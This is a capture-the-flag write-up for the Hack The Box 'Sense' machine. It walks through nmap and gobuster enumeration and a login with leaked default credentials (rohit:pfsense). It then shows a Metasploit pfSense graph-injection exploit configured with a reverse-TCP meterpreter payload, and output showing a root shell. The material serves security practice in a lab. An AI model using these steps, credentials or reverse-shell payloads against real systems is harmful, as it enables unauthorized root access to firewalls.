Hack The Box Sense Writeup (Easy pfSense)
Easy pfSense box. Gobuster finds system-users.txt naming rohit, the company default password logs in, and a graph injection exploit lands a root shell.
Summary
Sense exposes only HTTP and HTTPS, with lighttpd redirecting to a pfSense login on port 443. The obvious defaults of admin:admin and admin:pfsense are rejected, so gobuster is left running and eventually turns up /changelog.txt, which admits only two of three vulnerabilities are patched, and /system-users.txt, a support ticket asking for a user named Rohit with the company default password. rohit:pfsense logs in, and the dashboard prints the exact version, 2.1.3-RELEASE. Metasploit’s exploit/unix/http/pfsense_graph_injection_exec matches that version and takes those credentials, and running it returns a meterpreter session. getuid confirms the session is already root.
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Nmap 7.93 scan initiated Wed Oct 22 06:30:43 2025 as: nmap -A -vv -oN scans/nmap.initial 10.129.118.153
Nmap scan report for 10.129.118.153
Host is up, received syn-ack (0.21s latency).
Scanned at 2025-10-22 06:30:44 -03 for 33s
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack lighttpd 1.4.35
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.129.118.153/
443/tcp open ssl/https? syn-ack
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US/organizationalUnitName=Organizational Unit Name (eg, section)/emailAddress=Email Address/localityName=Somecity
| Issuer: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US/organizationalUnitName=Organizational Unit Name (eg, section)/emailAddress=Email Address/localityName=Somecity
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-10-14T19:21:35
| Not valid after: 2023-04-06T19:21:35
| MD5: 65f8b00f57d234682c520f448110c622
| SHA-1: 4f7c9a75cb7f70d3808708cb8c2720dc05f1bb02
| -----BEGIN CERTIFICATE-----
| MII<SNIPHa/
|_-----END CERTIFICATE-----
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 22 06:31:17 2025 -- 1 IP address (1 host up) scanned in 34.09 seconds
Web Server Enumeration
Port 443 features a pfsense application:
PFSense is known to have default credentials:
For instance, the default I found:
1
2
3
4
5
6
7
Username: admin
Password: admin
--or--
Username: admin
Password: pfsense
I tried those with no success.
Directory Bruteforcing
USed gobuster to brute for valid directories/endpoints:
1
gobuster dir -u https://10.129.32.42/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 15 -o scans/gobuster -k -x php,txt
Eventually it finds a changelog:
1
/changelog.txt (Status: 200) [Size: 271]
This changelog is interesting because it mentions that only 2/3 vulnerabilities have been patched:
1
2
3
4
5
6
7
8
9
10
# Security Changelog
### Issue
There was a failure in updating the firewall. Manual patching is therefore required
### Mitigated
2 of 3 vulnerabilities have been patched.
### Timeline
The remaining patches will be installed during the next maintenance window
After a long while, it locates another text file (/system-users.txt):
1
2
3
4
5
6
7
####Support ticket###
Please create the following user
username: Rohit
password: company defaults
I was able to log in to pfsense using the following credentials:
1
2
Username: rohit
Password: pfsense
As you can see from the screenshot below, much information can be obtained from the dashboard, including the precise version for pfsense (2.1.3-RELEASE)
Initial Access
I used msfconsole to search for potential exploits, and found a promising one (exploit/unix/http/pfsense_graph_injection_exec):
I did configure the module like so:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf exploit(unix/http/pfsense_graph_injection_exec) > options
Module options (exploit/unix/http/pfsense_graph_injection_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD pfsense yes Password to login with
Proxies no A proxy chain of format type:host:port[,typ
e:host:port][...]. Supported proxies: sapni
, socks4, socks5, http, socks5h
RHOSTS 10.129.32.42 yes The target host(s), see https://docs.metasp
loit.com/docs/using-metasploit/basics/using
-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
USERNAME rohit yes User to login with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.226 yes The listen address (an interface may be specif
ied)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
I ran the expltoit and obtained a meterpreter shell:
1
2
3
4
msf exploit(unix/http/pfsense_graph_injection_exec) > run
[*] Started reverse TCP handler on 10.10.14.226:4444
[*] Sending stage (41224 bytes) to 10.129.32.42
[*] Meterpreter session 1 opened (10.10.14.226:4444 -> 10.129.32.42:23741) at 2025-10-28 11:13:52 -0300
As you can see from the screenshot below, the shell I got is as root:
I could interact with the session and execute commands:
1
2
3
4
5
msf exploit(unix/http/pfsense_graph_injection_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
gServer username: root